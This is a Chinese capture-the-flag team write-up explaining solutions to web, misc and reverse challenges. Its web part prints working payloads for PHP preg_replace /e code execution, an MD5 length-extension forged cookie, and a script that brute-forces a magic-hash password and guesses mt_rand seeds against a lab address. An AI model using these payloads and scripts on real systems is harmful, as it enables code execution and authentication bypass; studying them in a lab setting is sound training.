第十一周小组WriteUp
Web
1.Preg(200)
<?php
error_reporting(0);
require_once("flag.php");
if(!$passwd)
{
$passwd=$_POST["passwd"];
}
if(!$lockedtxt)
{
$lockedtxt=$_POST["lockedtxt"];
}
function flag($var)
{
echo $var;
}
if($key)
{
$unlockedtxt=preg_replace($passwd,$key,$lockedtxt);
}
if($unlockedtxt===$flag)
{
flag("The Correct: ");
flag($flag);
}
show_source("index.php");
// key=flag(\\1)
?>
preg_replace()函数的漏洞导致代码执行。
前提:
01:第一个参数需要e标识符,有了它可以执行第二个参数的命令
02:第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令
这个题第二个参数不是可以传的,是预先设定好的,但是\\1
为第一参数里正则表达试匹配后的值,还是执行了第四个参数的语句。
paload:
passwd=/1(.*?)1/e&lockedtxt=1$flag1
passwd=/(.*)/e&lockedtxt=$flag都行,不唯一
参考:
http://www.php.net/manual/zh/function.preg-replace.php
http://www.2cto.com/article/201212/178024.html
2.Hash(200)
<h1>hello ctfer!<h1><!--<?php
error_reporting(0);
$flag = "xxxxxxxx";
$secret = "xxxxxxxxxxxxxxxxxxxxxxxxx"; // This secret is 15 characters long for security!
$username = $_POST["username"];
$password = $_POST["password"];
if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($_COOKIE["getmein"] == md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
echo "<h1>hello ctfer!<h1>";
-->
哈希长度扩展攻击。
上工具。
Input Si gnature:填名为sample-hash的cookie的值,题目已给出。
Input Data:填admin
$secret是密文,长度为15,如果再算上后面第一个admin,长度就是20
而数据是admin
签名(哈希值)是be7413992c7e8541aa530688ddbbcc00
Input Data to Add:随意
生成了:
b1700910c22d838ea2615091520a13f3
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00qwe
第一行是新的哈希值,将其设置为新cookie(getmein)的值,第二行的数据将\x
换成%在post提交。
资料:
http://www.cnblogs.com/pcat/p/5478509.html
https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks
3.Coding(300)
.git泄露
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
关键代码
<?php
error_reporting(0);
include "flag.php";
$admin_user = "pr0_adm1n";
$admin_pw = clean_hash("0e408306536730731920197920342119");
function clean_hash($hash) {
return preg_replace("/[^0-9a-f]/","",$hash);
}
function myhash($str) {
return clean_hash(md5(md5($str) . "SALT"));
}
function create_password($pw_length = 10)
{
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++)
{
$randpwd .= chr(mt_rand(33, 126));
}
return $randpwd;
}
?>
写脚本(注意时间)
<?php
$user="pr0_adm1n";
for($i=0; $i<1000000000; $i++) {
$str = $i;
hash = md5(md5($str) . "SALT");
echo $hash."\n";
if(preg_match("/^0e[0-9]+$/", $hash)) {
echo $str." : ".$hash."\n";
break;
}
//62778807 : 0e774261293712168181959463563504
}
$password=$str;
function create_password($pw_length = 10)
{
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++)
{
$randpwd .= chr(mt_rand(33, 126));
}
return $randpwd;
}
function send_post($url, $post_data) {
$postdata = http_build_query($post_data);
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type:application/x-www-form-urlencoded',
'content' => $postdata,
'timeout' => 15 * 60 // 超时时间(单位 :s )
)
);
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context)."\n";
return $result;
}
for($j=time()-20;$j<time()+20;$j++)
{
mt_srand($j);
$pwd=create_password();
echo "pwd ".$pwd."\n";
echo "user " .$user."\n";
echo "password ".$password."\n";
$post_data = array(
'user' => $user,
'password' => $password,
'pwd'=>$pwd
);
$content=send_post('http://192.168.64.133/ctf/baopo/',$post_data);
if(strpos($content,'SKCTF')>-1)
{
echo $content;
}
}
Misc
1.zip??(100)
zip伪加密。
2.base的n次方(150)
题目给出加密代码:
a = "flag{}"
for i in range (1,30):
b = random.randint(1 , 3)
if b ==1:
a= base64.b16encode(a)
elif b==2:
a= base64.b64encode(a)
else:
a= base64.b32encode(a)
s= open("flagencode.txt","w")
s.write(a)
print "done!!!"
flagencode.txt
写脚本(py2):
import base64
b64 = "abcdefghijklmnopqrstuvwxyz"
b32 = "GHIJKLMOPQSTUVWXYZ"
#s=open("flagencode.txt","r")
flag=open("flagencode.txt").read()
for i in range (1,30):
base=0
for c in b64:
if(c in flag):
base=int(64)
break
if (base==64):
flag=base64.b64decode(flag)
base=0
continue
for c in b32:
if(c in flag):
base=int(32)
break
if (base==32):
flag=base64.b32decode(flag)
base=0
continue
flag=base64.b16decode(flag)
print(flag)
3.shark
下载一个流量包,shark打开。
追踪HTTP流看到flag.zip的get请求,导出来是加密的flag.txt,密码在HTTP头中,base64解密就是压缩包的密码。
Reverse
1.多试几次(100)
拖进IDA.
进字符S看看发现,S的值为设定好了的为SDUST,进ggg函数看,是把s的每一个字符和0x20异或赋给s1,和a比较,输出s1.